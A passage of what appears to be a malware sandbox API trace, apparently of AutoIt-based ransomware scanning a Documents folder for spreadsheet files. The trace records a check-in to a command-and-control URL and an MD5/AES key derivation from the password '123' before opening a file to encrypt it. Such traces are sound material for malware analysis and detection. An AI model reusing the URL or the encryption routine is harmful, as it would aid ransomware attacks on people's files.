lpString1="\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="w9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ih-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="h-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.854] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.856] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.856] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0068.856] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.856] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0068.856] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0068.856] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0068.856] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0068.856] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0068.856] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c) returned 1 [0068.857] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0068.857] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0068.857] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0068.857] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0068.857] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0068.857] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0068.857] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0068.857] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0068.857] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.858] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0068.858] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0068.858] CloseHandle (hObject=0x0) returned 0 [0068.858] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.858] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0068.858] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0068.858] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.858] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.858] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.858] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.859] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0068.859] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.859] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0068.859] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.859] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.859] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0068.859] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.859] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.859] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.859] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.859] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.860] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0068.860] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0068.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0068.860] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0068.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0068.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0068.860] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0068.860] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9f00) returned 1 [0068.861] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.861] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.861] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0068.861] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.861] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.862] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.862] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.862] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.862] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.862] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.862] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.862] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.862] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.862] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.862] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.862] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0068.862] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.862] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.862] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.862] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.863] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.863] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.863] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.863] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.863] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.863] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.863] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.863] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.864] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.864] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.864] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.864] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.864] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.864] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.864] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621408, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0068.865] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0068.865] CryptCreateHash (in: hProv=0x17a9f00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0068.865] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.865] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.865] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.865] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0068.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629440, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0068.865] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0068.865] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0068.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0068.865] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.865] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.865] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.865] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0068.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621678, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0068.866] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0068.866] CryptHashData (hHash=0x164c6b0, pbData=0x1629400, dwDataLen=0x3, dwFlags=0x1) returned 1 [0068.866] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.866] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.866] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.866] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.866] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.866] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.866] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.866] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0068.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218d0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0068.866] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0068.866] CryptDeriveKey (in: hProv=0x17a9f00, Algid=0x6610, hBaseData=0x164c6b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c7b0) returned 1 [0068.866] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.866] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.866] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.866] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.866] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.866] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.867] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0068.867] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0068.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0068.868] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0068.868] CryptDestroyHash (hHash=0x164c6b0) returned 1 [0068.868] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.868] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.868] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.868] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.868] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.868] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx" (normalized: 